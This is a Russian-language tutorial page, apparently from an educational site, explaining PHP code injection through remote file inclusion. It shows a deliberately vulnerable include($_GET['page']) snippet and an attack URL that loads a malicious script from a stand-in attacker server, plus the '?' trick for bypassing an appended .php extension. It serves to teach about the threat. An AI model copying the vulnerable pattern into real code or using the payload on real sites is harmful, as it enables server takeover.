Меню
Главная
Авторизация/Регистрация
 
Главная arrow Информатика arrow Анализ актуальных киберугроз

PHP - инъекции

Фактически, под PHP-инъекциями понимается такая атака на сайт, когда злоумышленник старается внедрить свой php-код в атакуемое php-приложение.

Потенциально опасными функциями являются:

eval(),

preg_replace() (с модификатором «e»),

require_once(),

include_once(),

include(),

require(),

create_function().

При успешной инъекции атакующий может выполнить произвольный (потенциально опасный) php-код на целевом сервере. На пример залить шелл. Но сначала подробно рассмотрим, как это происходит.

Например, представим, что у нас имеется сайт, написанный на PHP. Представим так же, что сайт использует комманду page=page.html для отображения запрашиваемой страницы.

Код будет выглядеть так:

<?php

$file =$_GET['page']; //Отображаемая страница

include($file);

?>

Это значит, что все, выводимое на странице, будет внедрено в php-код этой страницы. Следовательно, атакующий может проделать что-то наподобии:

http://www.атакуемый_сайт.com/index.php?page=http://www.атакующий_серв.com/вредоносный_скрипт.txt?

Если посмотреть, что происходит после выполнения инклуда, нам представится следующий код, выполненный на целевом сервере:

<?php

$file ="http://www.атакующий_серв.com/вредоносный_скрипт.txt?"; //$_GET['page'];

include($file); //$file - это внедренный злоумышленником скрипт

?>

Мы видим, что злоумышленник произвел успешную атаку на целевой сервер.

Итак, почему же злоумышленник смог провести PHP-инъекцию? Все потому, что функция include() позволяет запускать удаленные файлы. Почему в примере был указан скрипт с расширением *.txt, а не *.php?

Ответ прост, если бы скрипт имел формат *.php, он бы запустился на сервере злоумышленника, а не на целевой системе.

Так же был добавлен символ "?" в пути к внедряемому скрипту, чтобы убрать что-либо, находящееся внутри функции include() на целевом сервере.

Пример:

<?php

$file =$_GET['page'];

include($file .".php");

?>

Этот скрипт добавляет расширение *.php к чему либо, вызываемому командой include().

То есть http://www.атакующий_серв.com/вредоносный_скрипт.txt

Превращается в

http://www.атакующий_серв.com/вредоносный_скрипт.txt.php

С таким именем скрипт не запустится (на сервере злоумышленника не существует файла /вредоносный_скрипт.txt.php)

Поэтому, и добавляется "?" в конец пути к вредоносному скрипту:

http://www.атакующий_серв.com/вредоносный_скрипт.txt?.php

Но он остается исполняемым.

 
Если Вы заметили ошибку в тексте выделите слово и нажмите Shift + Enter
< Предыдущая   СОДЕРЖАНИЕ   Следующая >
 
Предметы
Агропромышленность
Банковское дело
БЖД
Бухучет и аудит
География
Документоведение
Естествознание
Журналистика
Информатика
История
Культурология
Литература
Логика
Логистика
Маркетинг
Математика, химия, физика
Медицина
Менеджмент
Недвижимость
Педагогика
Политология
Право
Психология
Религиоведение
Социология
Статистика
Страховое дело
Техника
Товароведение
Туризм
Философия
Финансы
Экология
Экономика
Этика и эстетика
Прочее